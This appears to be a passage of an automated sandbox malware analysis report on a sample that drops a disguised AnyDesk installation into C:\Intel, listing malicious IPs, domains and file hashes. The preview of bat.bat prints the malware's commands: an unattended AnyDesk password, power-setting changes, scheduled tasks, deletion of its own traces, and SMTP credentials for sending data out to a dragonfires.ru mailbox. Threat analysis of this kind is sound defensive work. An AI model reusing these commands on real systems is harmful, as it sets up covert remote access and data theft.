185.125.51.5	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	downdown.ru/bat.jpg
185.125.51.5	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	downdown.ru/bat.jpg
94.23.158.211	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	www.4t-niagara.com/checkupdate.php
94.23.158.211	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	www.4t-niagara.com/checkupdate.php
239.255.102.18	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Program.RemoteAdminNET.1.22990.5900.msi	Get hash	malicious	AteraAgent	Browse
	92f25a21-b9c1-4aee-af3e-cacf098605e9	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
downdown.ru	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	185.125.51.5
downdown.ru	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	185.125.51.5
www.4t-niagara.com	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	94.23.158.211
www.4t-niagara.com	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	94.23.158.211
boot.net.anydesk.com	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	57.129.37.28
	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	92.223.88.41
	https://mailustabucaedu-my.sharepoint.com/:u:/g/personal/stella_pabon_ustabuca_edu_co/EWCk8BqICKBBrExz32n-PvYBCVoLK4PToNCGKPT0vElGYg?e=w0tQWE	Get hash	malicious	Unknown	Browse	92.223.88.232
	_AnyDesk.exe_	Get hash	malicious	Unknown	Browse	57.128.101.75
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	57.128.101.74
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	195.181.174.167
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	185.229.191.39
	http://116.0.56.101:9191/images/Distribution.exe	Get hash	malicious	Unknown	Browse	49.12.130.235
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	37.59.29.33

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DEDICATEDUS	XClient.exe	Get hash	malicious	XWorm	Browse	144.48.105.119
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.87.151.159
	TRC.arm7.elf	Get hash	malicious	Mirai	Browse	74.201.216.32
	meow.arm.elf	Get hash	malicious	Unknown	Browse	194.26.25.141
	meow.arm5.elf	Get hash	malicious	Unknown	Browse	194.26.25.7
	la.bot.arm-20241006-1050.elf	Get hash	malicious	Unknown	Browse	200.220.163.218
	2.exe	Get hash	malicious	AsyncRAT	Browse	216.105.171.163
	dKMlbDZXP3.elf	Get hash	malicious	Mirai	Browse	216.52.183.163
	build.hta	Get hash	malicious	Quasar	Browse	64.42.179.59
	build.exe	Get hash	malicious	Quasar	Browse	64.42.179.59
OVHFR	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	151.80.4.227
	4.elf	Get hash	malicious	Unknown	Browse	164.133.191.35
	frosty.x86.elf	Get hash	malicious	Mirai	Browse	51.178.95.194
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	54.36.150.184
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	51.195.88.199
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxteRO-2BqdkFdZns7E8OZ0trgZRhaAY0f4dRd5bGXo8w1-2B5SPZj6mt6bkINmYNA1f4blf-2F2qp6pSrdQgqdtKPVZlFfsGiBd9L9S-2BVNmfUTaZ-2Bp0zWbjdQ23pm6OHkVsvPYDi1myQ0pU4BHbfSebmhjQAIDDVMgAvG7Znw7Pr8RLFA8HEKUDF6j4JiiZ3slfATgGRu3-2BdlWbffHNdZW8UBc7QW6Nxd08b90zhz6-2FhInZrSp1J-2Fh9yU6gsolKI10c6pp1uA-2FrYRI2h9aMn65O5NvFrP-2Fc-2BjlCyvznYBIXNfkBGEguSmRbREbgogGbx0CjJc9kfZpcF-2F4T3W7floa7RxJ5-2BKjbFDYD7FnGxTCmOAt-2BDLn5J0y5KvJMT3qFWKyQo5DJ5ru0B7ksJyMiI6L18xz5XP2GRtxbC7dwfszL4xopys7uMk6wzOFXTrTU9jYi2ZvQxqCtOzUddy1WGVe8msfQF8x3k3Ejw4p6mGzrKR8wOZXnO3uVw5n8j0tNkc31-2F1y7FsWAGygTmAHNV4DJiUXG3-2Foq61jCXRLG1PMMCZ97ToDeMjE9XjfX-2Bb4NXrzqR3tgw-3D-3DwyWG_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419Oh5WFVYobMs1ROnIPWGGcLQ6-2Bsxhj60Ehn0XDEyVD6MCEZ1gioYU2lwgwkCuP2dHRX-2FYdZnQ31dEdwKW37GtXYj9HmZ1F0YrZWwSELmaO5K7noqwYAhu2QGcGqOtQYdjShoJMVTWOe6BTzZXQxib8Y6rd4SX-2BUwZMt-2BbgPIpal6PcS8i4PCSiFy8RF-2Ftt22Wpj713n23BIU6an4375YDP3	Get hash	malicious	Unknown	Browse	51.38.120.206
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxteRO-2BqdkFdZns7E8OZ0trgZRhaAY0f4dRd5bGXo8w1-2B5SPZj6mt6bkINmYNA1f4blf-2F2qp6pSrdQgqdtKPVZlFfsGiBd9L9S-2BVNmfUTaZ-2BpuOeo6wXhYyQnN5Dmhl9EwD4jJy2QucAxD5PJ8TFaAtq5-2Fa2JLywFyD22uAsFmhYjQLp65IuicFXReMolU22hvgQ-2B1S2bacC3gnzhuRxI8SAkOsPFFxOcYEiSSZTqVyp3m1OxPmLRrTi1o5-2FZom3YCyV1EUto77Rrvablg0dLCkGGW0ncnt-2B7IgK6LBBZRD7ITvGmpDjZtTYsz0I1qKiLzZdNfmubxarfJC5-2BcEqOw-2Ft-2FbdrugnVMUWHAHioUxjwvqr4QWKZSVt-2BeoNRvP2Adsk-2FRWXyTy-2FNsOG5tm8W5iiSHTNAe6b2ve-2F-2FMif4OPRLC2jk2zIHDBodMQqimJe7S-2B0c0a6VcurrTf-2BSSIJw1siTQylKaBjy96o6v7aWNACMPOJmDH5ybp8Hfg60OUEGx1ZLebRMpxX9k9AP7u40PlQ7YN0etELZUsiTbXY4PcX2P96RfnnTH8k4gdprbyM68BwIDNXqkSpWupXgXawXvLifC6eFYgMzHs5EFbgb5u6HEHo2__tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419Oh5WFVYobMs1ROnIPWGGcL7zwYzcSR3guHWoKhXDu5EQ7SXJZpci4hCmpp1REa7W1YXEAS6JqnE9LrlFK998LZ271LMIRubQetxBOsHxh3FfsHQej0U45DqU0JnGYKUA9waD6Ny-2BL9vchurlVMDvBupSQHaqHAKs87lmzkMbvNLGI-2BMPx7o1UJrTBuhk-2BVx-2FdFVsZL4Uf2HUcBJTS73hyi	Get hash	malicious	Unknown	Browse	51.75.86.98
	3.elf	Get hash	malicious	Unknown	Browse	164.133.191.143
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxteRO-2BqdkFdZns7E8OZ0trgZRhaAY0f4dRd5bGXo8w1-2B5SPZj6mt6bkINmYNA1f4blf-2F2qp6pSrdQgqdtKPVZlFfsGiBd9L9S-2BVNmfUTaZ-2Bp0zWbjdQ23pm6OHkVsvPYDi1myQ0pU4BHbfSebmhjQAIDDVMgAvG7Znw7Pr8RLFA8HEKUDF6j4JiiZ3slfATgGRu3-2BdlWbffHNdZW8UBc7QW6Nxd08b90zhz6-2FhInZrSp1J-2Fh9yU6gsolKI10c6pp1uA-2FrYRI2h9aMn65O5NvFrP-2Fc-2BjlCyvznYBIXNfkBGEguSmRbREbgogGbx0CjJc9kfZpcF-2F4T3W7floa7RxJ5-2BKjbFDYD7FnGxTCmOAt-2BDLn5J0y5KvJMT3qFWKyQo5DJ5ru0B7ksJyMiI6L18xz5XP2GRtxbC7dwfszL4xopys7uMk6wzOFXTrTU9jYi2ZvQxqCtOzUddy1WGVe8msfQF8x3k3Ejw4p6mGzrKR8wOZXnO3uVw5n8j0tNkc31-2F1y7FsWAGygTmAHNV4DJiUXG3-2Foq61jCXRLG1PMMCZ97ToDeMjE9XjfX-2Bb4NXrzqR3tgw-3D-3DrgFz_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419Oh5WFVYobMs1ROnIPWGGcLui8UPBZcrEcBQ64UpH2s9-2FDpSu9qfcgYFRQKTYsD5OOP7p7kgdevUOf60UO0BtzRorOOVdIMlEbf0g38VGeCmtkP8At2J-2BxKEtoZ2O48KqLdUMGUmxH4Esb-2BPRc25uZJoq4Qo0YWw9j31285luIdhLwnz-2B9RfofSABy36tB5aPmDcVeLn5C5N5AJkqjfepa6	Get hash	malicious	Unknown	Browse	51.89.9.252
INPLATLABS-ASRU	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	185.125.51.5
	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	185.125.51.5
	d80327695eebee6940b7a55704b4c712e22c37f5bc95f2d5d6fc83e90f87bf55_dump.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Variant.MSILHeracles.172068.27755.23666.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	4FkYkTt9dE.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Trojan.DownLoaderNET.987.29728.6216.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Win32.RATX-gen.24946.23294.exe	Get hash	malicious	PureLog Stealer	Browse	185.125.50.121
	SecuriteInfo.com.Trojan.DownLoad4.16337.3540.9873.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.125.50.121
	SecuriteInfo.com.Win32.CrypterX-gen.8664.12357.exe	Get hash	malicious	PureLog Stealer	Browse	185.125.50.121

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
c91bde19008eefabce276152ccd51457	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	160.202.165.71 57.129.37.157
	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse	160.202.165.71 57.129.37.157
	https://www.axians-ewaste.com/faq/anleitung-installation-signatursoftware/	Get hash	malicious	Unknown	Browse	160.202.165.71 57.129.37.157
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	160.202.165.71 57.129.37.157
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	160.202.165.71 57.129.37.157
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	160.202.165.71 57.129.37.157
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	160.202.165.71 57.129.37.157
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	160.202.165.71 57.129.37.157
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	160.202.165.71 57.129.37.157

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Intel\AnyDesk\AnyDesk.exe	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse
C:\Intel\AnyDesk\AnyDesk.exe	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse
C:\Intel\Trays\4t-min64.exe	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse
C:\Intel\Trays\4t-min64.exe	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse
C:\Intel\Trays\7z.dll	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse
C:\Intel\Trays\7z.dll	eqRHH2whJu.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Intel\ 131.pdf

Download File

Process:	C:\Users\user\Desktop\Yv24LkKBY6.exe
File Type:	PDF document, version 1.7, 1 pages
Category:	dropped
Size (bytes):	25674
Entropy (8bit):	7.907670571017708
Encrypted:	false
SSDEEP:	384:9yG9CsIne7IVDIeIQzBgpt9Y4xhGyU3RSFVmQqnN8088XKNWMQiOM+k3T3lA:dslVlJy99x5U3EF8QqnKV8XqWXnMBJA
MD5:	E3ABD5BD617DFA2C7ED0F241BC08475D
SHA1:	9D1885FB570C84C419CBF0DAC0A9B770B5BF349B
SHA-256:	A6FF418F0DB461536CFF41E9C7E5DBA3EE3B405541519820DB8A52B6D818A01E
SHA-512:	18A3D578D0200E77B15574E5EE8BEEE74CDBC3BD4C1CA6AEBF29594FFBFC467DD8A20B3382FD6845A914AB0FFE387DCCAB3CF793DBCB62115B0C30E99773766D
Malicious:	false
Preview:	%PDF-1.7.%.....3 0 obj.<<./Type /XObject./Subtype /Image./Width 557./Height 685./BitsPerComponent 8./ColorSpace /DeviceRGB./Filter /FlateDecode./Length 5 0 R.>>.stream.x...<9..[.p..{..Br[.00b.HGJ4.r.X0..$V)..H........Ab.+4.@]J..nhA.b..;y...~_GFVef.....a;^;..'.p.O'.............,......n.;.... .TI.......6]@}....?...?.........)b$5.......}......O?.......h$...F>...b4E......d....'.\|....}...?...(.L4...G#...4R..W.)...._.7...........>8...$....n.......D..~...?...../..._..w.......?..O..5.....]....g2. ...@.+.O~...{.W......(Q.'j.%.!J.B..._.!..x...\|.;...........5}..?.....!.Iz..B.}..'.\|................F..>..........4..w.......?........+.W...F........?..~....4."..d.)C.~..G.}.........K_......v.........o...F\..9+C..._?..Cd...^G. _.....\|.[....~.......o...q......d....B. _...6..7.......?...~...2...Y.............................{.F..qA.........}._.._{.:............................D....n C..0#......2...3...... C....T..->2..0/Ww.7....x0.!d..`F.!d..`F.!d..`F.!d..`F....].S.V

C:\Intel\AnyDesk\AnyDesk.exe

Download File

Process:	C:\Intel\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5331456
Entropy (8bit):	7.99990183000247
Encrypted:	true
SSDEEP:	98304:K/9YNbhcFtvWK+XJURR51NX6hzzVwDmIoEWXF5fX+LWHF7uC+:KCNbhcF1WKW6whfOjGvAWHM
MD5:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
SHA1:	6AEDB74E3C6B886A2945323C8789B32891CA12A2
SHA-256:	7F813D6552F20F2E761807E94C34EDCFE91570A9D637C82C955AE52768367046
SHA-512:	8E009A0E4398EDBCDB7BEE17F37AE5885935E910348F0FC2FFE838BBFFB2B56BF6DE9BB7F34B08C04DD8ABB1C29C0313006697872D9EBF09950947B96758F16D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Joe Sandbox View:	Filename: eqRHH2whJu.exe, Detection: malicious, Browse Filename: eqRHH2whJu.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L....X.f..........".........0Q..T%..........@....@...........................v......Q...@...................................................................v.......%..............................................................................text...w(......................... ..`.itext...T%..@...........................rdata........%.....................@..@.data....&Q...%..$Q..2..............@....reloc........v......VQ.............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Intel\AnyDesk\bat.bat

Download File

Process:	C:\Intel\curl.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	modified
Size (bytes):	4477
Entropy (8bit):	5.593790126561728
Encrypted:	false
SSDEEP:	48:q1vXYC+yNyQPvvpvXevWvlMz/vSdvX2vSdvXQZvSdvXKvSdvXmvSdvXZvSdvXnvl:qfloQhNM9ziOjvOjo+OjNOjwxDejO
MD5:	2689DB9C78A508F99898CCE9A85F0632
SHA1:	A5FD7E67D46F4D2239C43101666DD0582367BD8D
SHA-256:	636D4F1E3DCF0332A815CE3F526A02DF3C4EF2890A74521D05D6050917596748
SHA-512:	57950BBBCFF7148F256028A6B9B19D2EC868612DE3431D5DC3BBBE61FAADDB8F61EAAA845491F97B73418E9C54DCCAA48D0B04BC32EEBEB5EEB16801C6323138
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Intel\AnyDesk\bat.bat, Author: Joe Security
Preview:	echo QWERTY1234566 \| AnyDesk.exe --set-password _unattended_access..%SYSTEMDRIVE%\Intel\dc.exe /D..powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0..powercfg -change -standby-timeout-ac 0..powercfg -change -hibernate-timeout-ac 0..powercfg -h off..powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1..powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1..schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00..Powershell.exe -executionpolicy remotesigned -File %SYSTEMDRIVE%\Intel\AnyDesk\wol.ps1..del /q %SYSTEMDRIVE%\Intel\curl.exe..del /q %SYSTEMDRIVE%\Intel\Trays.rar..del /q %SYSTEMDRIVE%\Intel\svchost.exe..set mail-out=out@dragonfires.ru..set pass-out=TyU005d94y..set smtp=mail.dragonfires.ru..set mail-in=in@dragonfires.ru..%SYSTEMDRIVE%\Intel\driver.exe a -r -hplim

C:\Intel\AnyDesk\bat.lnk

Download File

Process:	C:\Users\user\Desktop\Yv24LkKBY6.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Oct 20 04:16:03 2024, mtime=Sun Oct 20 04:16:03 2024, atime=Sun Oct 20 04:16:03 2024, length=984, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	4.387954886555134
Encrypted:	false
SSDEEP:	24:8+6YWsBQCZzCUVlWUFCqAZ4eUCyhLJ8Dhg5i4Uzm:8qQczVwwh1Gg5g
MD5:	B8BE9EF45895F58DB0B6BD0A73485C78
SHA1:	C6DB4B279AEC29FD6793EFF8DE6572B51E8D95B2
SHA-256:	C51A9243F7FB0ADBD5F3AC2B2C89070A06EAED928228C8FB385D1FAE933D920A
SHA-512:	85284D43698F531E921F027E4A20DD156A6CACC6B32D8C84A94C9EA1D64269A2EEF3FD5140BD4CCFEB17F76D9958B2320F291DB611C0A5C023784E743C30F3DC
Malicious:	false
Preview:	L..................F.... ....3.(."..tZ.(.".....(."..........................+....P.O. .:i.....+00.../C:\...................P.1.....TY...Intel.<......TYT%TY......%....................S...I.n.t.e.l.....V.1.....TY...AnyDesk.@......TY.TY.....R,........................A.n.y.D.e.s.k.....V.2.....TY. .bat.bat.@......TY.TY.....T,.....................I..b.a.t...b.a.t.......M...............3.......L...........65......System.C:\Intel\AnyDesk\bat.bat......\.b.a.t...b.a.t...C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.`.......X.......vivobook.........................)........(..VY.................)........(..VY........U...1SPS.0..C..G.....sf"9...d............A.n.y.D.e.s.k. .(.C.:.\.I.n.t.e.l.).............1SPS0.%..G.....`...!................b.a.t...b.a.t............@....B.(.".......................=..................0.:.5.B.=.K.9. .D.0.9.;. .W.i.n.d.o.w.s............@......(."......a...1SPS.jc(=.......O...E................C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.b.a.t...b.a.t.........9...1SPS..mD..pH.H@..

C:\Intel\AnyDesk\wol.ps1

Download File

Process:	C:\Intel\curl.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	modified
Size (bytes):	670
Entropy (8bit):	5.478658113796959
Encrypted:	false
SSDEEP:	12:MGNvQnzxGN9feGNcjtesqhIYQGN8dYohAUs219217Sj2XnoKG/91WYP:HNv2zAN9BNies+3NPGAUsc9K22XoKIZ
MD5:	E956E6CF8F57E5FCDD02B7F5137E312E
SHA1:	0DA79D573FADEF08C9D07F20D4BF8445A7044A48
SHA-256:	01793E6F0D5241B33F07A3F9AD34E40E056A514C5D23E14DC491CEE60076DC5A
SHA-512:	D4CF36F08B4F1CE033FE092E226454AAFA90C7652DDBF4FD2F014BF1B5438DC3035640A7C1BBE8B97D0F1A8AD726AAC2986E4C6B246A49AB55C434709606835F
Malicious:	false
Preview:	$Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"..$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"..$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest..# ........ ........ ........$TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun..# ........... ...... . ............ .........Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force

C:\Intel\Trays.rar

Download File

Process:	C:\Intel\curl.exe
File Type:	RAR archive data, flags: EncryptedBlockHeader
Category:	modified
Size (bytes):	1759948
Entropy (8bit):	7.999902098352645
Encrypted:	true
SSDEEP:	49152:96t7FF7chGiS1KBSsPLFBLPGUATnGvvGkbouz6pn/aJ3:4NFVEPSwSsPH+TnGvukEF5/w3
MD5:	3B9BD9271887C92A994C582161700FC8
SHA1:	54E78156E451F901FD6BDB9B7C93FDFDC105361A
SHA-256:	5707A7D5A6946D50E861EEA4FB89BF255239D0391E4AE87A499558EE85367061
SHA-512:	FC9ECE7AD3499BD9CB5CEFB3006D3BAFD3ACB58EF226FE0CE7AC65B31ECD50294E6B791A3A1B6ECE833FAD0B821DC42AAE12A1321FD89252562D0CD186E139F4
Malicious:	false
Preview:	Rar!....s...........;..]......6,.,:..k.....Qr.6;h...BqS..^{M.......8B!...W...z...)3p....>......f..!.Z..j.)J.....(zw.>...`.e$p7.9.Y...C1`..a5..Y.+s.....8y....$l.C..vP.....Od.m?;F.....T.J.............%0.q.J2...b[`.RG.m..Et......%.hL.4L..>L....P.y ..64=.....Bq........;A...1..f.4....Hfn.....E}d.....bG ...L.k...v.N..'&k.3..euw...@.1t.......`}.V.P.0...+.&H}.A..Z`..2..j....$v..v.2N^....0...5?....t.@....A_....h..!....w..X3m:V........'3`.5...n.,....h.//..~g%.\.'x?-/..[.............b....O.Y.i....B.. ...e.)A2..D......9.98...e......._.....E.....DT..K>n.F/....o....5..,.... ..b.j.n..{D...Bd.2.u....s..[Jj8."E.2`..#._.3O..H^./...Fj-mk.......P.Z9.5.{..TJ..........O@M.&...<W\|...<....h.-..4C..z4)...u...&..9...v...!t.7.......,..X._<"bx.Nf.C~.....v...R8N..Ha8$9l....+................vL.*&..=K.L ..G..V..........Yj>?U.\...e .\e.<h.!k....<......... .(.c.]Z...+.a..}.h.x.\|G\..Rf...........Un.>n.E.F..6h.E..O/;T.@n.RS#O.E.......d.......s.....~./...A6....

C:\Intel\Trays\4t-min.chm

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	221585
Entropy (8bit):	7.950121298763784
Encrypted:	false
SSDEEP:	6144:afX5wlsLWmmJ5c9xKwN+kgRrCgvqZtYFkgS/:R2Wm/9xKTfru
MD5:	B271C0CC26ADA59F204E567DAA150769
SHA1:	744CF9F7F6FA12748529923C0E8A221F7F9CDC3D
SHA-256:	2A5E806589E54C290393BB92EBBC1649B979A384A0CC0C52A229F62F394E29FE
SHA-512:	D240AD89B3413C7B090B7CC12110D9C44B8BABBC7140C3AD43318CF56CB1BA6777BE36318028562E8C25BC6380AC3A9404815A1F0CDD28E8BCD47760413C6237
Malicious:	false
Preview:	ITSF....`........\|........\|.{.......".....\|.{......."..`...............x.......T........................a..............ITSP....T...........................................j..].!......."..T...............PMGLw................/..../#IDXHDR...9.../#ITBITS..../#IVB.....<./#STRINGS.....E./#SYSTEM....A./#TOPICS...9.../#URLSTR...Y.3./#URLTBL...9. ./#WINDOWS...3.L./$FIftiMain...[..^./$OBJINST.....?./$WWAssociativeLinks/..../$WWAssociativeLinks/BTree...e.L./$WWAssociativeLinks/Data...1.1./$WWAssociativeLinks/Map...b../$WWAssociativeLinks/Property...\| ./$WWKeywordLinks/..../$WWKeywordLinks/BTree...;.L./$WWKeywordLinks/Data......./$WWKeywordLinks/Map....*./$WWKeywordLinks/Property...E ./4t-min.hhc...N.8./4t-min.hhk......../4t-tray-menu.png.....G./4t_niagara_softw.html...B."./default.css...I.j./favoritesautomatically.html...d.e./favoritesgeneral.html...I.../favoriteshiding.html...Z.C./favoriteskeyboard.html.....(./favoriteslaunching.html...E.../favoritesoverview.html...R.S./favoritestitlebar.html

C:\Intel\Trays\4t-min64.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	275968
Entropy (8bit):	5.377292337480563
Encrypted:	false
SSDEEP:	3072:GFhscoM/x/zeyFb2GP3zYkkisbL57SUp5Er/h36gMqE1Kwx57fjHGiRObXeHtOp8:Qhxz7Fbf3zYkkisbL9WDc4AyOHWy
MD5:	7BC3AEEDC18717D796F1C7FF8DBF0C17
SHA1:	94F5AB71D7EBDCF339C33820D1AAD0DB5B6998BF
SHA-256:	D7AF4E205E963B0C17330B7559CD7AA7BFABEE7E0F5F8A3F815CC2BB5F659201
SHA-512:	F6A2E99DE788C6869DC7AA6CB24A4D8BD72F1D9145CC2194CAAD9BF2242A88A69E73FC05F2D826956FE3E553B368C33295E16BF4CCA3723A6491C51D8AAC196D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: eqRHH2whJu.exe, Detection: malicious, Browse Filename: eqRHH2whJu.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....0W........../......f....................@.............................................................................................p.......................................................................................................................text....d.......f.................. .P`.data...............j..............@.P..bss....`,...@........................P..idata.......p......."..............@.0..rsrc................2..............@.@.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Intel\Trays\4t-min_pad.xml

Download File

Process:	C:\Intel\driver.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (415), with CRLF line terminators
Category:	dropped
Size (bytes):	14387
Entropy (8bit):	5.329785287143663
Encrypted:	false
SSDEEP:	192:mm9lrTU1lo45jRukIB7Bq0KoWxDgJOPFK2NDO2ffo03+HZRiZAD0dh+fnh4RFKCc:juwlkoWxDgEFKUOMgmmsbm
MD5:	930B9A47D3982A556750F4993EBB7490
SHA1:	AAAEACB33638DE4C0A07CBD711272A3A91DC2F8C
SHA-256:	B20D63355A0427FC4E7CE80B10CED6B05FF1BCF6221E3F6D92348F15AFB7C02A
SHA-512:	4CFF22DDFFFCAFED36FF92A410466E88914F8F22ED782D927E01ED336661432CF602E5D4D14DA1BC2DFA706490E9AD631F62785D21E05CD5693D1B11787A7BA7
Malicious:	false
Preview:	<?xml version='1.0'?>..<XML_DIZ_INFO>...<MASTER_PAD_VERSION_INFO>....<MASTER_PAD_VERSION>3.11</MASTER_PAD_VERSION>....<MASTER_PAD_EDITOR>PADGen 3.1.1.51 http://www.padgen.org</MASTER_PAD_EDITOR>....<MASTER_PAD_INFO>Portable Application Description, or PAD for short, is a data set that is used by shareware authors to disseminate information to anyone interested in their software products. To find out more go to http://pad.asp-software.org</MASTER_PAD_INFO>...</MASTER_PAD_VERSION_INFO>...<Company_Info>....<Company_Name>4t Niagara Software</Company_Name>....<Address_1/>....<Address_2/>....<City_Town/>....<State_Province/>....<Zip_Postal_Code/>....<Country/>....<Company_WebSite_URL>http://www.4t-niagara.com</Company_WebSite_URL>....<Contact_Info>.....<Author_First_Name>Support Team</Author_First_Name>.....<Author_Last_Name>4t Niagara Software</Author_Last_Name>.....<Author_Email>support@4t-niagara.com</Author_Email>.....<Contact_First_Name>Support Team</Contact_First_Name>.....<Contact_Las

C:\Intel\Trays\7z.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	274944
Entropy (8bit):	6.424155263952795
Encrypted:	false
SSDEEP:	6144:LpbcrmVPgtC9M5OuGh9Srn152vIhsN9E61Nu:LpQMgtC9mrnr2vIhsk67
MD5:	3CD9F4853B93DB6331C9F34BC5671407
SHA1:	7D57E6F33DA5D885198A1AD88355D4F48979D1EB
SHA-256:	9532AC334F37954C8FA781489B52B113CDE746E8271D75516F419A3F13BAAD6B
SHA-512:	715DFCA8619E2C47E26223ADC0239B3F04C86977E27874693B8FC3A1600976D523458345D680C04754191EFDCD8CC412A7FF292A0F455C1D34EC75453CD48589
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: eqRHH2whJu.exe, Detection: malicious, Browse Filename: eqRHH2whJu.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*o;+n.Uxn.Uxn.Ux..[xw.UxX(_xP.Ux...xo.Uxn.Tx..Ux...xi.UxX(^x..Ux.x.xy.Ux.x.xl.Ux..Sxo.Ux..Qxo.UxRichn.Ux........PE..L...,..K...........!.....F...:......5........`..............................................................................$...P....`...........................#...................................................`..d............................text....D.......F.................. ..`.rdata...Y...`...Z...J..............@..@.data............>..................@....sxdata......P......................@....rsrc........`......................@..@.reloc...5.......6..................@..B................................................................................................................................................................................................................................................................................

C:\Intel\Trays\File_id.diz

Download File

Process:	C:\Intel\driver.exe
